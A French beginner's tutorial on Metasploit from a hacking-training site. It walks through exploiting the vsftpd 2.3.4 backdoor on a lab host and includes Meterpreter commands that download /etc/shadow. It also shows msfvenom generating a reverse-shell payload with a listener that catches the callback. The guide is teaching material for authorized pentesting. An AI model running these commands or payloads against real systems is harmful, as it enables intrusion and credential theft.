Comment utiliser Metasploit : guide du débutant 2026

Penetration Testing
19 min de lecture
Comment utiliser Metasploit : guide du débutant 2026
Sur cette page
  1. Qu'est-ce que Metasploit ?
  2. Installer Metasploit et lancer msfconsole
  3. Exploit, payload, session : le modèle qui fait tout basculer
    1. Payloads staged et stageless
    2. Reverse et bind
  4. Les sept commandes msfconsole qui couvrent presque tout
    1. Chercher correctement, et arrêter de faire défiler
    2. Lisez le rang avant d'utiliser quoi que ce soit
    3. check ne veut pas toujours dire ce que vous croyez
  5. Comment utiliser Metasploit : votre premier exploit de bout en bout
  6. Que faire une fois la session Meterpreter obtenue
    1. Quand aucun module n'existe : msfvenom et multi/handler
  7. Quand Metasploit est le mauvais outil
  8. Les erreurs que vous rencontrerez la première semaine
  9. Considérations légales et éthiques
  10. Questions fréquentes sur Metasploit
  11. Vos prochaines étapes

Presque toutes les vidéos de hacking que vous avez vues contiennent la même scène : un terminal noir, une vache ou une tête de mort en ASCII rouge, quelqu'un qui tape exploit, et un shell root qui apparaît. C'est Metasploit, le premier vrai outil offensif que la plupart des gens rencontrent. C'est aussi celui que la plupart des gens apprennent mal, parce que les tutoriels montrent les quatre commandes qui ont marché sur une machine sans jamais expliquer pourquoi. Ce guide vous apprend comment utiliser Metasploit correctement : le modèle derrière l'outil, les sept commandes qui couvrent presque tout, un exploit complet du scan au shell, et les erreurs qui vont dévorer votre première semaine. Travaillez-le en parallèle du cours Network Penetration Testing de HackerDNA, puis emmenez ce que vous avez appris sur le lab Internal, un réseau d'entreprise bien vivant dans lequel vous entrez par effraction depuis votre navigateur.

Metasploit n'est qu'un instrument dans une discipline bien plus large, donc si vous êtes encore en train de dresser la carte, notre guide complet du penetration testing montre où l'exploitation se situe dans le workflow. Chaque chiffre et chaque commande ci-dessous ont été vérifiés sur l'arbre des sources du Metasploit Framework tel qu'il est en août 2026, version 6.5.x.

TL;DR : Metasploit est un framework qui transforme "exploiter cette machine" en quatre commandes : search, use, set, exploit. On le lance avec msfconsole, préinstallé sur Kali. Le framework embarque 5 077 modules, dont 2 686 exploits, et ce que les débutants comprennent de travers, c'est la séparation entre l'exploit (le chemin d'entrée) et le payload (ce qui s'exécute ensuite). Assimilez cette distinction et la plupart de vos erreurs "no session was created" disparaissent.

Qu'est-ce que Metasploit ?

Metasploit est un framework d'exploitation open source : une bibliothèque de code d'attaque prêt à l'emploi, plus une console qui gère toute la plomberie autour, comme la construction des payloads, la réception des connexions retour et la gestion des shells obtenus. Rapid7 le maintient, et le Metasploit Framework gratuit est la version que tout le monde utilise ou presque.

Le mot "framework" est la moitié importante. Metasploit n'est ni un scanner ni un exploit isolé. C'est une forme commune dans laquelle des milliers d'attaques sans rapport entre elles ont été réécrites, si bien qu'un bug Samba de 2007 et un bug Confluence de l'an dernier se pilotent avec la même poignée de commandes. Compter les fichiers de modules dans l'arbre des sources actuel donne la taille de cette bibliothèque :

Type de moduleNombreRôle
Exploits2 686Exploitent une faille précise pour exécuter votre code
Auxiliary1 332Scannent, brute-forcent, énumèrent. Sans payload
Payloads541Le code qui s'exécute sur la cible une fois entré
Post435Tournent dans une session existante : butin, pivot, élévation
Encoders, NOPs, evasion83Remodèlent les octets du payload, surtout pour les bad characters

Ces 2 686 exploits référencent 2 519 CVE distinctes. En croisant cette liste avec le catalogue CISA Known Exploited Vulnerabilities (version 2026.08.25, 1 676 entrées), 434 d'entre elles figurent sur une liste officielle américaine de failles dont l'exploitation réelle est confirmée. Grosso modo, un quart de tout ce que la CISA demande aux agences fédérales de corriger en urgence dispose d'un module Metasploit fonctionnel à deux mots de recherche.

Voilà l'argument honnête pour l'apprendre, et la section sur ses limites est l'argument honnête contre le fait de s'y fier aveuglément.

Installer Metasploit et lancer msfconsole

Sur Kali Linux, Metasploit est déjà là. Vérifiez-le et notez la version :

msfconsole --version
# Framework Version: 6.5.x

Sur Ubuntu, Debian ou macOS, utilisez le script d'installation nightly de Rapid7 plutôt qu'un paquet de distribution, car les paquets de distribution de Metasploit vieillissent vite. Le script importe la clé de signature Rapid7 et branche le paquet sur votre gestionnaire de paquets, ce qui permet à msfupdate de continuer à fonctionner ensuite :

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

Windows a son propre installeur signé, accessible depuis la documentation des nightly installers.

Avant le premier lancement, démarrez la base de données. Metasploit tourne sans elle, mais vous perdez hosts, services, loot et les résultats de recherche en cache :

sudo systemctl start postgresql
sudo msfdb init
msfconsole

Une fois au prompt msf6 >, vérifiez la connexion avec db_status. Le premier lancement prend du temps, parce que Metasploit construit son cache de modules. Les suivants sont rapides.

Une habitude à prendre tout de suite : lancez avec msfconsole -q. Le drapeau -q supprime la bannière ASCII aléatoire. La bannière est amusante exactement deux fois.

💻
Pratiquez maintenant : Hack the Box - une cible multi-étapes où vous enchaînez une faille web vers un shell, puis vers root, exactement le workflow que Metasploit automatise. Dans le navigateur, gratuit pour démarrer, aucune VM à monter.

Exploit, payload, session : le modèle qui fait tout basculer

Presque tous les problèmes de débutant avec Metasploit sont en réalité une confusion entre trois mots. Mettez-les au clair et l'outil cesse de paraître arbitraire.

L'exploit est le chemin d'entrée. Il abuse d'un bug précis dans un logiciel précis pour amener la cible à exécuter les octets de votre choix. exploit/windows/smb/ms17_010_eternalblue est un chemin d'entrée par une faille SMB de Windows datant de 2017.

Le payload est ce que ces octets font. L'exploit vous donne l'occasion d'exécuter quelque chose. Le payload décide si ce quelque chose est un shell classique, un agent Meterpreter, ou une commande unique qui ajoute un utilisateur. Même porte, occupants différents.

La session est le résultat. Quand un payload rappelle chez vous avec succès, Metasploit enregistre une session que vous pouvez utiliser, mettre en arrière-plan et reprendre.

Payloads staged et stageless

C'est le détail qui piège le plus de débutants, et il se cache dans la ponctuation. Regardez ces deux noms de payload :

windows/x64/meterpreter/reverse_tcp    # staged    (barre oblique)
windows/x64/meterpreter_reverse_tcp    # stageless (tiret bas)

Un payload staged est coupé en deux. Un minuscule stager de première étape est livré par l'exploit, se connecte à vous, et télécharge le vrai Meterpreter via cette connexion. Il est petit, ce qui compte quand la vulnérabilité ne vous laisse que quelques centaines d'octets.

Un payload stageless arrive d'un bloc. Il est bien plus gros, mais il n'a pas besoin d'un second aller-retour, donc il survit aux réseaux capricieux et aux situations où la cible ne peut établir qu'une seule connexion sortante.

En pratique, commencez en staged. Si votre session s'ouvre puis meurt en une seconde ou deux, ou si vous voyez le handler démarrer sans que rien n'arrive, remplacez la barre oblique par un tiret bas et réessayez. Le framework embarque 106 stagers et 48 stages qui se combinent pour former les noms staged, plus 323 singles autonomes.

Reverse et bind

Un payload reverse_tcp fait sortir la cible vers vous. Un payload bind_tcp ouvre un port en écoute sur la cible et attend que vous vous y connectiez. Le trafic sortant est autorisé bien plus souvent que l'entrant, donc reverse est le défaut pour une bonne raison. N'utilisez bind que lorsque la cible ne peut pas vous joindre.

Les sept commandes msfconsole qui couvrent presque tout

Metasploit a des centaines de commandes. Sept d'entre elles représentent 95 % de votre frappe.

  1. search - trouver un module
  2. use - le sélectionner
  3. info - lire ce qu'il fait vraiment
  4. show options - voir ce qu'il attend de vous
  5. set - remplir ces champs
  6. check - demander si la cible est vulnérable, sans tirer
  7. exploit (ou run) - tirer

Chercher correctement, et arrêter de faire défiler

Taper search smb renvoie des centaines de lignes que vous ne lirez pas. La commande search accepte des filtres, et presque personne ne les enseigne :

search cve:2017 type:exploit platform:windows
search type:exploit rank:excellent name:apache
search cve:2021-44228
search type:exploit platform:-windows          # le moins exclut
search type:exploit -s disclosure_date -r      # tri du plus récent

La liste complète des mots-clés comprend entre autres cve, edb, author, port, arch, rank, check et att&ck. Tapez search -h pour tous les voir. Si vous arrivez avec une version de service issue d'un scan Nmap, chercher par CVE ou par port est le chemin le plus court vers le bon module.

Lisez le rang avant d'utiliser quoi que ce soit

Chaque module d'exploit porte un rang de fiabilité attribué par son auteur selon des critères publiés. Sur les 2 686 exploits, la répartition est la suivante :

RangModulesCe que disent les critères du framework
Excellent1 390 (51,7 %)Ne fera jamais tomber le service. Exécution de commande, SQLi, inclusion de fichier
Great294 (10,9 %)Détecte la cible automatiquement ou utilise une adresse de retour validée par version
Good254 (9,5 %)A une cible par défaut sensée, mais ne détecte pas automatiquement
Normal476 (17,7 %)Fiable, mais uniquement contre une version précise
Average165 (6,1 %)Globalement peu fiable ou difficile à exploiter
Manual / Low100 (3,7 %)Moins de 15 % de réussite, ou déni de service déguisé

La moitié du catalogue est de l'exécution de commande qui ne fera pas tomber le service. L'autre moitié mérite une seconde pensée avant de la pointer vers quelque chose auquel vous tenez. Un exploit de corruption mémoire classé Average contre l'ERP de production d'un client, c'est comme ça qu'on met fin à un contrat en avance.

check ne veut pas toujours dire ce que vous croyez

check est la commande la plus sûre de Metasploit : elle teste la faille sans l'exploiter. Mais seuls 1 531 des 2 686 modules d'exploit (57,0 %) implémentent réellement un check. Les autres répondent :

[*] This module does not support check.

Ce n'est pas "la cible est saine". C'est "personne n'a écrit cette partie". Lisez-le comme une absence d'information, pas comme un résultat négatif.

Comment utiliser Metasploit : votre premier exploit de bout en bout

Voici la boucle complète contre une cible volontairement vulnérable. L'exemple est la backdoor vsftpd 2.3.4, CVE-2011-2523, le premier tableau de chasse traditionnel sous Metasploit parce que l'histoire est mémorable : mi-2011, quelqu'un a compromis le serveur de téléchargement de vsftpd et a glissé une backdoor dans l'archive de la version. Tout nom d'utilisateur se terminant par :) ouvrait un shell root sur le port 6200. Elle est restée trois jours dans l'archive officielle.

Étape 1 - trouver le service. Nmap d'abord, toujours. Metasploit est le deuxième outil que vous touchez, jamais le premier :

nmap -sV -p- 10.10.10.50
# 21/tcp open  ftp  vsftpd 2.3.4

Étape 2 - trouver le module. Vous avez un produit et une version, donc cherchez sur le produit :

msf6 > search vsftpd

   #  Name                                      Rank       Check  Description
   -  ----                                      ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor      excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution

Étape 3 - sélectionner et inspecter. use accepte le nom ou le numéro d'index de la dernière recherche :

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

info est l'étape que les gens sautent et qu'ils ne devraient pas. Elle affiche le rang, la CVE, la date de divulgation, les auteurs, les cibles et une description du mécanisme réel. Soixante secondes de lecture ici vous évitent de tirer un exploit Windows 7 sur une machine Server 2019.

Étape 4 - renseigner ce qu'il demande.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.50
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 10.10.14.5

RHOSTS, c'est eux. LHOST, c'est vous, et c'est l'erreur la plus fréquente de tout l'outil. Sur un VPN, ce doit être votre adresse VPN, pas celle de votre réseau local. Récupérez-la directement depuis l'interface :

ip addr show tun0 | grep inet

Étape 5 - vérifier, puis tirer.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check
[+] 10.10.10.50:21 - The target appears to be vulnerable.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.50:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 10.10.10.50:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.50:41352)

meterpreter > getuid
Server username: root

Voilà toute la boucle. Scanner, chercher, sélectionner, régler, vérifier, exploiter. Chaque module du framework la suit, que la cible soit un démon FTP de 2011 ou un bug de désérialisation Java du trimestre dernier. Les commandes ne changent pas, seules les options changent.

Ce module est agréable pour apprendre parce qu'il embarque AutoCheck, l'un des 668 modules qui vérifient la cible avant de tirer sans que vous ayez à le demander.

Que faire une fois la session Meterpreter obtenue

Meterpreter est le payload maison de Metasploit : un agent qui tourne en mémoire sur la cible et parle un protocole structuré vers vous, au lieu de faire transiter un shell brut dans une socket. Cela vous donne le transfert de fichiers, le contrôle des processus, les captures d'écran et le pivot comme commandes de première classe, sans gymnastique shell.

Orientez-vous d'abord. Ces quatre commandes répondent à "où suis-je et qui suis-je" :

meterpreter > getuid      # sous quel compte tourne le payload
meterpreter > sysinfo     # OS, architecture, nom d'hôte
meterpreter > ifconfig    # quels autres réseaux cet hôte voit
meterpreter > ps          # processus en cours

Ensuite, déplacez des données et basculez vers un shell normal quand vous en avez besoin :

meterpreter > download /etc/shadow ./loot/
meterpreter > upload linpeas.sh /tmp/
meterpreter > shell       # shell OS classique, Ctrl+Z pour revenir
meterpreter > background  # met la session de côté, retour au prompt msf6

Le passage en arrière-plan est l'habitude qui sépare ceux qui sont à l'aise dans Metasploit de ceux qui ne le sont pas. Rangez la session, faites autre chose, revenez :

msf6 > sessions -l        # lister toutes les sessions
msf6 > sessions -i 1      # revenir dans la session 1

Avec une session de côté, les 435 modules post deviennent disponibles, et ils tournent à l'intérieur de cette session :

msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run

Le local exploit suggester lit l'OS et le niveau de correctifs de la cible et vous dit quels modules d'élévation de privilèges locale pourraient marcher. Traitez sa sortie comme une liste de pistes à creuser, pas comme un verdict. Il est généreux en suggestions et silencieux sur la fiabilité, et la moitié de ce qu'il propose ne partira pas. L'autre moitié, vous la trouvez à la main, en lisant vous-même les tâches cron, les binaires SUID et les règles sudo.

Quand aucun module n'existe : msfvenom et multi/handler

La plupart des vrais points d'entrée ne sont pas un exploit en boîte. Vous trouvez un upload de fichier, une injection de commande, ou des identifiants pour un panneau d'administration, et il vous faut apporter votre propre payload. C'est msfvenom, le générateur de payloads de Metasploit, associé à un simple écouteur :

# Générer le payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o payload.elf

# Le réceptionner
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.5
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.5:4444

La règle unique : le PAYLOAD, le LHOST et le LPORT du handler doivent correspondre exactement à ceux intégrés dans le fichier. Un payload staged réceptionné par un handler stageless produit une connexion qui s'ouvre et meurt aussitôt, et le message d'erreur ne vous dira pas pourquoi. Notre cheat sheet msfvenom contient des générateurs à copier-coller pour tous les formats courants.

Quand Metasploit est le mauvais outil

Voici la partie que les pages commerciales laissent de côté. Le catalogue d'exploits de Metasploit est ancien, et cela se mesure. En lisant la date de divulgation des 2 686 modules d'exploit, on obtient une médiane de 2013. Seuls 23,1 % couvrent des vulnérabilités divulguées en 2020 ou après, et 11,8 % en 2023 ou après.

Ce n'est pas une critique du projet, c'est une description de sa raison d'être. Metasploit est une superbe archive de l'exploitation établie et bien comprise, exactement la matière dont sont faites les machines de CTF, les labs d'entraînement et les réseaux internes négligés. Ce n'est pas là que se fait l'exploitation fraîche. Une vulnérabilité divulguée mardi dernier aura une preuve de concept sur GitHub des semaines avant d'avoir un module, si tant est qu'elle en obtienne un.

Trois autres limites à connaître avant de bâtir une habitude autour de l'outil :

  • Les examens de certification le restreignent. Les règles de l'OSCP d'OffSec autorisent les modules Metasploit et le payload Meterpreter contre exactement une machine d'examen de votre choix, et une fois cette machine choisie vous y êtes verrouillé. La restriction s'étend à tout ce qui enveloppe le framework. Vérifiez la formulation en vigueur dans le guide de l'examen OSCP, et si vous visez cette certification, notre guide de préparation à l'OSCP explique comment s'entraîner avec cette contrainte.
  • Il est bruyant. Les payloads Meterpreter par défaut et les ports par défaut comptent parmi les artefacts les mieux signés du secteur, donc tout réseau surveillé le remarquera. C'est très bien en lab et dans la plupart des tests autorisés. Cela signifie simplement que Metasploit n'a jamais cherché à être un outil furtif.
  • Passez votre chemin sur Armitage. Cette interface graphique traîne encore dans les tutoriels, mais sa dernière version stable date du 13 août 2015, soit plus d'une décennie de changements du framework. Apprenez la console. C'est ce que suppose chaque write-up, chaque collègue, chaque examen.

La meilleure raison d'apprendre l'exploitation manuelle en parallèle de Metasploit n'est de toute façon pas le règlement d'examen. C'est que lorsqu'un module échoue, et les modules échouent en permanence, vous devez être capable de lire le code source de l'exploit et de comprendre laquelle de ses hypothèses votre cible a cassée.

Les erreurs que vous rencontrerez la première semaine

Ces cinq-là représentent l'essentiel de la frustration.

Ce que vous voyezCe que cela veut dire en général
Exploit completed, but no session was createdLHOST est faux, un pare-feu a coupé le rappel, ou l'architecture du payload ne correspond pas à la cible. Vérifiez LHOST avec ip addr en premier, à chaque fois.
This module does not support checkLe module n'a pas de méthode check. 43 % des exploits n'en ont pas. Ne dit rien sur la cible.
La session s'ouvre puis meurt en une secondePayload staged, transfert de stage instable. Passez à la variante stageless : meterpreter/reverse_tcp devient meterpreter_reverse_tcp.
No database support au démarragePostgreSQL ne tourne pas. sudo systemctl start postgresql && sudo msfdb init.
Address already in use sur le handlerUn ancien handler occupe encore le port 4444. jobs -l pour lister, jobs -k <id> pour tuer, ou changez simplement de LPORT.

Sur des machines de lab, l'habitude qui fait gagner le plus de temps est ennuyeuse : vérifier LHOST avant de tirer, pas après. Passez d'un VPN à un réseau local et l'adresse change, mais Metasploit garde ce que vous avez réglé en dernier. Gardez la cheat sheet Metasploit de HackerDNA ouverte à côté de la console pendant que vous travaillez.

Considérations légales et éthiques

Rappel essentiel : obtenez toujours une autorisation écrite explicite avant de tester un système. Lancer un exploit contre une machine que vous ne possédez pas et que vous n'avez pas l'autorisation de tester est une infraction pénale dans la plupart des pays, au titre de l'article 323-1 du code pénal en France, du Computer Fraud and Abuse Act aux États-Unis et du Computer Misuse Act au Royaume-Uni.

Metasploit ramène l'effort d'exploitation à quatre commandes. Il ne baisse pas d'un millimètre le seuil légal. Le framework est un outil professionnel utilisé sous contrat, et la différence entre un pentester et un prévenu tient à un document de périmètre signé.

  • Ne vous entraînez que sur des cibles prévues pour : les labs HackerDNA, des machines virtuelles volontairement vulnérables que vous hébergez vous-même, ou des plateformes où vous avez un compte.
  • Ne pointez jamais un module vers une adresse IP trouvée en scannant Internet, aussi ouverte paraisse-t-elle.
  • Lisez le rang avant de tirer sur toute mission autorisée. Un exploit classé Average qui fait tomber un service de production, c'est une vraie panne avec un vrai coût.
  • Consignez ce que vous avez lancé et quand. Si un service tombe une heure plus tard, votre journal est ce qui prouve que ce n'était pas vous.

Questions fréquentes sur Metasploit

Metasploit est-il utilisé par de vrais hackers ?

Oui, des deux côtés. Les pentesters et les équipes red team l'utilisent sous contrat parce qu'il normalise l'exploitation et le reporting, et les groupes criminels l'utilisent parce qu'il est gratuit et efficace. C'est aussi la raison pour laquelle il existe autant de règles de détection du comportement Meterpreter par défaut : l'outil est si répandu que les défenseurs se sont réglés spécifiquement dessus.

Quelle est la différence entre Metasploit et msfconsole ?

Metasploit est le framework, c'est-à-dire la bibliothèque de modules plus le code qui la pilote. Msfconsole est l'interface en ligne de commande interactive avec laquelle vous lui parlez, et c'est l'interface que suppose la quasi-totalité de la documentation. Msfvenom et msfdb sont des outils en ligne de commande distincts livrés avec le même framework.

Metasploit est-il gratuit ?

Le Metasploit Framework est gratuit et open source sous licence BSD à 3 clauses, et il inclut tous les modules évoqués ici. Rapid7 vend aussi Metasploit Pro, qui ajoute une interface web, des chaînes de tâches, du reporting et des outils de campagne d'ingénierie sociale. Pour apprendre, pour les CTF et pour la plupart des missions de conseil, le framework gratuit est l'outil complet.

Faut-il Kali Linux pour utiliser Metasploit ?

Non. Kali le livre simplement préinstallé et préconfiguré, ce qui supprime une étape d'installation. L'installeur nightly de Rapid7 met le même framework sur Ubuntu, Debian, macOS et Windows. Ce qu'il vous faut, c'est une machine que la cible peut joindre sur le réseau, ce qui explique pourquoi les débutants sous Windows le font souvent tourner dans une VM Linux.

Quelle différence entre un shell et une session Meterpreter ?

Une session shell est un interpréteur de commandes brut transitant par une socket, comme si vous l'aviez réceptionné avec Netcat. Une session Meterpreter fait tourner l'agent maison de Metasploit en mémoire, ce qui vous donne des commandes structurées pour le transfert de fichiers, le contrôle des processus, le pivot et les modules post. Meterpreter est plus capable, plus gros, et bien plus susceptible d'être détecté par un antivirus.

Pourquoi mon exploit dit qu'il a terminé mais sans créer de session ?

Dans la plupart des cas, le payload s'est exécuté mais n'a pas pu vous joindre. Vérifiez que LHOST est bien l'adresse de l'interface face à la cible, pas celle de votre réseau local, puis vérifiez que rien ne filtre le port choisi. Si les deux sont bons, l'architecture du payload ne correspond peut-être pas à la cible : un payload 64 bits ne tournera pas dans un processus 32 bits.

Vos prochaines étapes

Vous savez maintenant comment utiliser Metasploit autrement que comme une suite de frappes apprises par cœur : lancez msfconsole -q, cherchez avec des filtres au lieu de faire défiler, lisez le rang et la page info, gardez l'exploit et le payload séparés dans votre tête, et vérifiez LHOST avant chaque tir. C'est tout le workflow, et il ne change pas à mesure que les cibles se durcissent.

Le plus rapide pour l'ancrer, c'est d'ouvrir des sessions sur de vraies cibles. Commencez par le lab Internal, où vous énumérez un réseau d'entreprise, exploitez un service et montez jusqu'à root, puis avancez chapitre par chapitre dans le cours Network Penetration Testing pour l'énumération qui doit précéder tout exploit digne d'être tenté. Tout tourne dans votre navigateur, et l'offre gratuite ne demande ni carte bancaire ni VM.

Ensuite, allez casser quelque chose que vous avez le droit de casser.

HackerDNA Team

Équipe HackerDNA

Écrit par l'équipe HackerDNA - des professionnels de la cybersécurité qui créent des labs de hacking pratiques et du contenu éducatif pour vous aider à développer des compétences réelles en sécurité.

Rencontrer l'équipe

Prêt à mettre cela en pratique?

Arrêtez de lire, commencez à hacker. Obtenez une expérience pratique avec plus de 170 labs de cybersécurité réels.

Commencer à Hacker Gratuitement
23 000+ Hackers 100+ Labs & Cours Gratuit
Commencer Gratuitement